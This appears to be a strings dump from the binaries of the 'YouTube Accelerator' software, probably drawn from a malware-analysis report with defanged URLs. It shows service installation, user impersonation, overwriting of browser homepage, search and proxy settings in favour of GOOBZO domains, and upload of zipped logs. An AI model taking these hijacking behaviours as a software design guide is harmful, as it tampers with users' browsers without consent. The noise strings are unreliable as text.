[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d
[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d
[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d
[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d
[CServiceController::ChangeStartType] Name: %s
[CServiceController::ExecuteServer] Exit
[CServiceController::ExecuteServer] Enter
[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d
[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] Enter, %s
[CServiceController::Remove] ___Error OpenService Failed: %d
[CServiceController::Remove] ___Error OpenSCManager Failed: %d
[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d
[CServiceController::GetStatus] ___Error OpenService Failed: %d
[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d
[CServiceController::Start] The service %s was started
[CServiceController::Start] ___Error StartService Failed: %d
[CServiceController::Start] ___Error OpenService Failed: %d
[CServiceController::Start] ___Error OpenSCManager Failed: %d
[CServiceController::Start] Going to start the service %s
[CServiceController::Stop] The service %s was stopped
YoutubeAcceleratorService.exe
[CServiceController::Stop] ___Error ControlService Failed: %d
[CServiceController::Stop] ___Error OpenService Failed: %d
[CServiceController::Stop] Going to stop the service %s
[CServiceController::Stop] ___Error SetServiceStatus Failed: %d
[CServiceController::Install] ___Error OpenService Failed: %d
[CServiceController::Install] ___Error QueryServiceStatus Failed: %d
[CServiceController::Install] ___Error CreateService Failed: %d
[CServiceController::Install] ___Error OpenSCManager Failed: %d
%s -%s -%s
%s\%s
[CServiceController::Install] ___Error GetModuleFileName Failed: %d
[CServiceController::GetArgsFromCmd] Exit
[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE
[CServiceController::GetArgsFromCmd] Enter
[CServiceController::RunCommand] Args: %s
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
operator
GetProcessWindowStation
USER32.DLL
c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release\YouTubeAcceleratorService.pdb
KERNEL32.dll
USER32.dll
ADVAPI32.dll
SHELL32.dll
VERSION.dll
USERENV.dll
PSAPI.DLL
.?AVIPipeEventsThread@@
.?AVCPipeEventThread@@
.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@
.?AVIPipeEventThreadManagerFactory@@
.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@
.?AVCPipeEventThreadManagerFactory@@
C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService.exe
aSSSh
FTPjK
FtPj;
C.PjRV
]@ ]( ]8
tGHt.Ht&
FTPQ
.?AVunsupported_thread_option@boost@@
zcÁ
SetProcessShutdownParameters
kernel32.dll
COMCTL32.DLL
boost::too_few_args: format-string referred to more arguments than were passed
boost::too_many_args: format-string referred to less arguments than were passed
Required USB Key not found
Failed to execute target process
Cannot find import; DLL may be missing, corrupt, or wrong version
File "%s", function "%s"
File "%s", ordinal %d
File "%s", error %d
(Error code %d)
%X:DAF
(Location XEB, error code %d)
_PAD%d
RNX
%X::DAX
KERNEL32.DLL
.DbgLog
GetWindowsDirectoryW
CreateDialogIndirectParamW
Kernel32.dll
User32.dll
ComDlg32.dll
1.2.3
EXCEPTION_FLT_INVALID_OPERATION
EXCEPTION_FLT_DENORMAL_OPERAND
boost::unsupported_thread_option
mscoree.dll
Visual C   CRT: Not enough memory to complete call to strerror.
.mixcrt
ADVAPI32.DLL
portuguese-brazilian
Broken pipe
Inappropriate I/O control operation
Operation not permitted
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
inflate 1.2.3 Copyright 1995-2005 Mark Adler
C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService-2.DbgLog
GetWindowsDirectoryA
EnumThreadWindows
EnumWindows
CreateDialogIndirectParamA
GetAsyncKeyState
GDI32.dll
comdlg32.dll
GetProcessHeap
GetCPInfo
GetConsoleOutputCP
^.Ad/
.Zvv[
j%FwL
e.tu/
5%up/
A.YNpN\n
%Um-IF
.BV$L|
%X1:S
`?T%Sj
%x@k4
.iyDY
j.Wsf
Cr.BxL
V.Fb7|
$"bM-Q}n
%x R\X
4%sPp
_%S3@
.LvHT
.owm;y,
}R.zmA
.bi@{
>I|.pt|d
t_\A
p}.GF
G){.mf
.xh$x
U.gs!
J|0.tL
.iJp`
.zE:aG
.7%Xs
-DED%xFqz
%cnzb
%UQzss
1%.Ey\=
/\%Dg
.FlC\5
.cA~;
P?=I_.or\
E.yb|4
%SuSw
T.UHuR
LZÁ
Q,-I}g_
4.gtE
-;M.EZk
1:](P%X
g.RUg
fH.XFH
.cP;_
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>
OUTUB~1\YouTubeAcceleratorService.exe
3.3.9.5

YouTubeAccelerator.exe_2388:




.text
`.rdata
@.data
.text1
.adata
.data1
.pdata
.rsrc
uh9.tZ
otuh9.tZ
tZ9.tB
tV9.tB
l$$9.tZ
ub9.tM
@ SSh
SSSSh
D$<9.tZ
\9.tB
D$`9.tZ
FTPj
t#WSSh
D$(PSSh
s%j.Zf
tGHt.Ht&
%a,%d-%b-%Y %H:%M:%S
DestroyPipeEventThreadManager
CreatePipeEventThreadManager
spCmd
3.3.9.5
<img src="images/v4.gif" alt="" />
<img src="images/v3.gif" alt="" />
user32.dll
CWebBrowser2
CNotSupportedException
hhctrl.ocx
CCmdTarget
KERNEL32.DLL
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
OLEACC.dll
c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release_Unicode\YouTubeAcceleratorU.pdb
VERSION.dll
KERNEL32.dll
USER32.dll
GDI32.dll
COMDLG32.dll
WINSPOOL.DRV
ADVAPI32.dll
SHELL32.dll
COMCTL32.dll
SHLWAPI.dll
oledlg.dll
ole32.dll
OLEAUT32.dll
WININET.dll
WS2_32.dll
USERENV.dll
PSAPI.DLL
.?AVCCmdTarget@@
.PAVCException@@
.?AVCWebWindow@@
.?AVCHttp@@
.?AVCHttpAsync@@
.?AVCExecuteUpdate@@
.?AVCExitWindows@@
.?AVIHttpEngineConfiguration@@
.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@
.?AVHttpEngineConfiguration@@
.?AVIPipeEventsThread@@
.?AVCSLogReportEventThread@@
.?AVCPipeEventThread@@
.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@
.?AVIPipeEventThreadManagerFactory@@
.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@
.?AVCPipeEventThreadManagerFactory@@
<>"#{}|\^~[]`' ?&
.?AVCSABaseWebWindow@@
.?AVCSANotifierWebWindow@@
.?AVCSAWebWindow@@
.PAVCMemoryException@@
.?AVCWebBrowser2@@
.?AVCWebForm@@
.?AVCWebElement@@
.?AVCWebInput@@
.?AVCWebAnchor@@
.?AVCWebDiv@@
.?AVCWebCheckBox@@
.PAVCSimpleException@@
.PAVCObject@@
.PAVCNotSupportedException@@
.PAVCInvalidArgException@@
.?AVCNotSupportedException@@
.PAVCOleException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCTestCmdUI@@
.?AVCCmdUI@@
.PAVCOleDispatchException@@
.PAVCArchiveException@@
.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@
.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@
.PAVCFileException@@
zcÁ
aSSSh
FTPjK
FtPj;
C.PjRV
]@ ]( ]8
FTPQ
.?AVunsupported_thread_option@boost@@
SetProcessShutdownParameters
kernel32.dll
COMCTL32.DLL
boost::too_few_args: format-string referred to more arguments than were passed
boost::too_many_args: format-string referred to less arguments than were passed
Required USB Key not found
Failed to execute target process
Cannot find import; DLL may be missing, corrupt, or wrong version
File "%s", function "%s"
File "%s", ordinal %d
File "%s", error %d
(Error code %d)
%X:DAF
(Location XEB, error code %d)
_PAD%d
RNX
%X::DAX
.DbgLog
GetWindowsDirectoryW
CreateDialogIndirectParamW
Kernel32.dll
User32.dll
ComDlg32.dll
1.2.3
EXCEPTION_FLT_INVALID_OPERATION
EXCEPTION_FLT_DENORMAL_OPERAND
boost::unsupported_thread_option
mscoree.dll
Visual C   CRT: Not enough memory to complete call to strerror.
.mixcrt
ADVAPI32.DLL
portuguese-brazilian
Broken pipe
Inappropriate I/O control operation
Operation not permitted
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
inflate 1.2.3 Copyright 1995-2005 Mark Adler
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator-2.DbgLog
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe
GetWindowsDirectoryA
EnumThreadWindows
EnumWindows
CreateDialogIndirectParamA
GetAsyncKeyState
comdlg32.dll
GetProcessHeap
GetCPInfo
GetConsoleOutputCP
^.Ad/
.Zvv[
j%FwL
e.tu/
5%up/
A.YNpN\n
%Um-IF
.BV$L|
%X1:S
`?T%Sj
%x@k4
.iyDY
j.Wsf
Cr.BxL
V.Fb7|
$"bM-Q}n
%x R\X
4%sPp
_%S3@
.LvHT
.owm;y,
}R.zmA
.bi@{
>I|.pt|d
t_\A
p}.GF
G){.mf
.xh$x
U.gs!
J|0.tL
.iJp`
.zE:aG
.7%Xs
-DED%xFqz
%cnzb
%UQzss
1%.Ey\=
/\%Dg
.FlC\5
.cA~;
P?=I_.or\
E.yb|4
%SuSw
T.UHuR
,'*%f
!.OUV
.FLy3
jS.TP]
ULsD1A%C
.Wk4ka&F
=.BJu
.Ao$u
w%fVb
Ü/OK1I
vAR%5s_
.OM4t
~UsQl^
h2%XL
|RZ%X#
Al-f}
Zdr.Uzr
'5,# {:#
L.gSeC
.Xw_I
|v%s9
j,M
CPX.ta
S.OSC
<.fRv
kksQl
}C.Xz
'(}:"%;'
8,.Dl
y%swo
XX.VK
..Jz`
,'.mM
@M.kuMhW
CQ.ug
{\.Gpf
.LHP9Q
U|i
.epAjX(
&i.zi
%DHTz
j8.CW
I7Û
.BR }:
-.Ozl
6'.VA
"x.UU;
.MtNM
9;}%X
%SAw'[
.xVCVe7x
%s7$T
.aP4\Wa
 %DmQ.
ce.Sz0{6
7_:%d
bjz6Œ8[
t1.AU
zTaB.nf
)g.ow
^__:;;,,,~
9:;556011---
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
%s (%s:%d)
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\afxwin1.inl
JhXXp://@BRAND_ID@.@[email protected]/support/video-sites
hXXp://@BRAND_ID@.@[email protected]/buy/hd/
hXXp://wiki.@[email protected]/doku.php?id=va:start
%s?OEM=%s
hXXp://VVV.@[email protected]
hXXp://@BRAND_ID@.@[email protected]/legal/license
blank.html
hXXp://VVV.@[email protected]/legal/privacy
[CAcceleratorEventsData::OnDeserialize] ___Error get URL
@CActivationBrowser::OnBeforeNavigate : url = %s
CActivationBrowser::OnNavigateComplete : url = %s
CActivationBrowser::OnNavigateError : url = %s
Res.dll
CActivationBrowser::SetMetaData GOT 'OPEN_URL'
OPEN_URL
CActivationBrowser::SetMetaData GOT 'ACTIVATION_BACK_URL'
ACTIVATION_BACK_URL
activation_offline.mht
%X%X%X
hXXp://client.@[email protected]/clientva/Activation.aspx
CActivationBrowser::OnDocumentComplete : url = %s
ipc.dll
\\.\pipe\GOOBZO_VAPIPESERVERENG
LastNum%d
LastID%d
\\.\pipe\GOOBZO_VAPIPESERVERUI
CBrowserSettings::RegisterDLL - LoadLibrary() Failed: %s
CBrowserSettings::RegisterDLL %s
%s = %s; expires = %s
%a,%d-%b-%Y %H:%M:%S GMT
2prefs.js
profiles.ini
profile%d
Mozilla\Firefox\
cookies.txt
Software\Microsoft\Internet Explorer\AboutURLs
user_pref("keyword.URL", "%s");
Use Custom Search URL
DefaultSearchURL
SBSearch.dll
SearchURL
Web Search
user_pref("browser.startup.homepage","%s");
restore.GOOBZO.com
hXXp://search.GOOBZO.com
search.GOOBZO.com
%d-%b-%Y
hXXp://restore.GOOBZO.com
user_pref("browser.startup.homepage",
HTTP/1.0
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
HTTP/1.1
Content-Type: multipart/form-data; boundary=%s
Content-Disposition: form-data; name="%s"
XXX
[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d
[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d
test.youtubeaccelerator.com
hXXp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=%d&mode=%s
Windows CE
Windows 7
Windows Vista
Windows 2003 Server
Windows XP
Windows 2000
Windows NT
Windows Me
Windows 98
Windows 95
[CCommTest::SetEngineMode] %d
vaproxy.pac
[CCommTest::StartServiceTest] ___Error Default EngineMode = %d !!!
[CCommTest::StartGuiTest] ___Error to create VACommTest process. LE: %d
testlsp.exe
[CCommTest::ProcessNextState] ___Error State = %d !!!
[CCommTestDlg::KillAllTimers] m_ConnectivityCheckTimer Timer: %d
[CCommTestDlg::ResetConnectionTimer] SetTimer: %d
[CCommTestDlg::ResetConnectivityCheckTimer] SetTimer: %d
CCommTestDlg::OnTimer() - m_ConnectionTestFailedTimer: %d
SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
showitunesMsg
DontShowAccelerationNotSupported
lastiTunesMsgTime
ManualProxyPort
[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d
[CConfig::IsLastTestingSucceeded] XML - Status = %d
[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)
[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)
[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)
[CConfig::IsTestingMode] TestingMode = %d (XML)
[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)
[CConfig::SetTestingMode] TestingMode = %d (XML)
[CConfig::GetBrandPort] BrandPort = %d
br_port
CConfig::SetCurrentUserKey
ReportCommFailed
[CConfig::SetSendLogFiles] Status = %d
[CConfig::SetSendInstLogFileOnly] Status = %d
[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CConfig::SetTracerOff] ___Error GetRegistryKeys
[CConfig::SetBackup] ___Error GetRegistryKeys
[CConfig::SetBackup] Status = %d
[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list
[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list
[CConfig::IsXBoxMode] Status = %d
[CConfig::SetTracerOn] ___Error GetRegistryKeys
[CConfig::SetTracer] Status = %d
B%sLow\%s\
%C:\Users\Public\Documents\%s\%s\
%s\%s\%s\
%s\Application Data\%s\%s\
[CCoreConfig::InitConfig] Product Name %s UseRegistry %d
You are using %s - Translated by:
[CFileResource::Load] ___Error SizeofResource: %d
[CFileResource::Load] ___Error LockResource: %d
[CFileResource::Load] ___Error LoadResource: %d
[CFileResource::Load] ___Error FindResource: %d
[CFileResource::Load] %s
[CFileResource::Extract] ___Error Write: %d
[CFileResource::Extract] ___Error Create: %d
[CFileResource::Extract] %s
[CFileResource::ExtractAll] ___Error ExtractResourceFromList: %x
[CFileResource::ExtractAll] ___Error EnumResourceTypes: %d
ListenPort
[EngineConfiguration::GetCurrentUserKey] User Key: %X
[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
HttpRedirectProxyPort
HttpRedirectProxyDomain
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Stop - Enter] TID=%X
B[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] TID=%X
B[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd
[CExecuteUpdate::OnDeserialize] ___Error get m_Directory
[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters
[CExecuteUpdate::OnDeserialize] ___Error get m_Operation
[CExecuteUpdate::OnDeserialize] ___Error get m_File
[CExecuteUpdate::RunUpdate] ___Error ShellExecute: %s, Faild: %d
http_port
user.js
user_pref("network.proxy.
autoconfig_url
Windows XP Firewall (ICF)
SOFTWARE\McAfee.com\Personal Firewall
DAP.EXE
Windows Security Alert
%d.%d.%d.%d
HttpHandleAll
HttpWorkerBufferLimit
HttpListenPort
HttpListenIP
.html
\winhlp32.exe
[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL
[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p
[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
http=
[CIEInternetProxySettings::Save] %s - %s = %s
[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d
[CImpersonate::Impersonate] Impersonated: %d
[CImpersonate::Revert] RevertToSelf - Error: %d
[CImpersonate::Revert] Impersonated: %d
[CImpersonate::Cleanup] Impersonated: %d
[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d
[CImpersonate::GetUserSID] The SID for %s is invalid.
[CImpersonate::GetUserSID] Not Enough Memory: %d
[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d
[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98
[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC
[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d
[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToWindowStation] CopySid - Error: %d
[CImpersonate::AddAceToWindowStation] AddAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d
[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d
[CImpersonate::AddAceToDesktop] AddAce - Error: %d
[CImpersonate::AddAceToDesktop] GetAce - Error: %d
[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d
[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS
[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d
[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS
[CImpersonate::OpenCurrentUserKey] Impersonated: %d
[CImpersonate::FindLoggedOnUser] Process32First - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d
[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
[CImpersonate::FindLoggedOnUser] Impersonated: %d
[CImpersonate::GetLogonUserName] Name: %s
[CImpersonate::GetLogonUserName] GetUserName - Error: %d
[CImpersonateThread::NotifyImpersonateLogon] Time: %d
[CImpersonateThread::NotifyImpersonateLogoff] Time: %d
[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d
[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d
Name: %s
Path: %s
Version: %s
%s_%d.log
CSLogReportEventThread::DoPacLogFiles] Zip file created.
*.bak
CSLogReportEventThread::DoPacLogFiles] ___Error FindFirstFile( %s ): %d
*.log
Config.xml
CSLogReportEventThread::DoPacLogFiles] ___Error to Create Zip file.
BakLspCommTest.zip
LspCommTest.zip
[CSLogReportEventThread::DoPostZipFile] ___Error POST FAILED. LE: %X
[CSLogReportEventThread::DoPostZipFile] POST SUCCEEDED
hXXp://online.@[email protected]/online/CommunicationTestFailed.aspx
[CSLogReportEventThread::DoPostZipFile] Trying to POST...
[CSLogReportEventThread::DoPostZipFile] ___Error CHttp to Connect: %X, Server: %s
hXXp://online.@[email protected]/online/
CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to get Zip file length.
CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to open file: %s
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d
SOFTWARE\GOOBZO\YouTube Accelerator\%s\Original
SOFTWARE\GOOBZO\YouTube Accelerator\%s\Current
M[CRegistrationMgr::IsTrialVersion]%d
exp=%d
ins=%d
Dur=%d
[CRegistrationMgr::SetTrial] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::UpdateTrialParams] ___Error XMLNode::emptyNode %s
Trial.dat
Trial_QA.xml
[CRegistrationMgr::StartTrial] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode .%d
[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode .%d
[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %s
(%d days left)
DAYURL
[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetDailyUrl]
[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetContinueTrialDailyUrl]
[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %s
xmldb.dll
config.xml
RtmpListenPort
MiTunes.exe
[CSA_GUIApp::RegisterCommTestEvents] ___Error m_pPipeEventThread == NULL
[CSA_GUIApp::UnRegisterCommTestEvents] ___Error m_pPipeEventThread == NULL
[CSA_GUIApp::IsTrial] m_bIsTrial = %d
User%d
[CSA_GUIApp::GoToURL] ___Error FindExecutable failed url = %s
[CSA_GUIApp::GoToURL] ___Error The specified file was not found
YouTubeAccelerator.exe
